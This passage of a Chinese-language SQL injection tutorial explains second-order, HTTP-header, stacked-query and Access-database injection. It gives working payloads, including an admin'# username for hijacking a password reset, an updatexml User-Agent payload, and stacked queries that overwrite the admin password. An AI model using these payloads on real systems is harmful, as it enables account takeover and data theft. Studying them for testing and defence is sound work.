前言
SQL注入的危害:
(1).数据库信息泄露,数据库中存放用户的信息隐私数据的泄露
(2).服务器被远程控制,被安装后门
七.二次注入
二次注入属于SQL注入的一种场景,是指已存储(数据库,文件)的用户输入被读取后再次进入到SQL查询语句中导致的注入。二次注入比普通SQL注入利用更加困难,利用门槛更高,普通注入数据直接进到SQL查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到SQL查询
简言:如登录一个网站,进行网站账号注册,然后再在网站里面更改密码
payload(省略了有源码变量前的’$’):
(1)后端源码:
sql = "UPDATE users SET PASSWORD='pass' where username='username' and password='curr_pass' ";
(2)新建用户,构造名字 admin’#
(3)重置账号密码,输入名字admin’#,修改过后发现被修改的账号是admin
其原因就是(修改密码时,源码变化):#号注释了后面的引号
sql = "UPDATE users SET PASSWORD='pass' where username='admin' # ' and password='curr_pass' ";
(4)从而修改了别人账号的密码
八.http头注入
http头注入其实并不是新的SQL注入类型,而是指出现SQL注入漏洞的场景。有时候后台开发人员为了验证客户端头信息(比如常用的cookie验证),会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL inject漏洞
payload:
(1)用burp抓包,信息头user-agent处加单引号报错
(2)构造闭合,后端源码:
insert = "INSERT INTO `security`.`uagent` (`uagent`,`ip_address`,`username`) VALUES (`$uagent`,`$IP`,`$uname`)";
(3)1’ and ‘1’ = '1 构造闭合
1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1
九.堆叠注入
在SQL语句中,分号代表一条SQL语句结束,而堆叠注入就是多条SQL一起执行,堆叠注入不同于其他注入,有局限性
前提是你需要知道字段,表名称
payload:
(1)如:1';create table test like users --+
创建一个名为test的表
(2)如:1';update users set password='admin@123' where username='admin' --+
修改用户密码
十.access数据库注入
access数据库没有库,那些.mdb的文件就是access数据库的文件,打开里面有表,有列,所以注入点只能都是猜测
源码:id=request(“id”)
sql =“select * from product where id=”$id
方法1:联合查询
(1)判断注入点是否存在
(2)猜测表名,如?id=123 and 1=2 union select 1,2,3 from xxx
,这里的xxx即是数据库表名,要猜测出来,或者使用字典对名字进行遍历猜测
(3)猜测字段名,在猜测出表名后,如?id=123 and 1=2 union select 1,x,3 from table
,对字段名x进行猜测
方法2:逐字猜解法
(1)猜测表名,and exists(select * from 表名)
(2)猜测字段名,and exists(select id from admin)
,对id进行猜测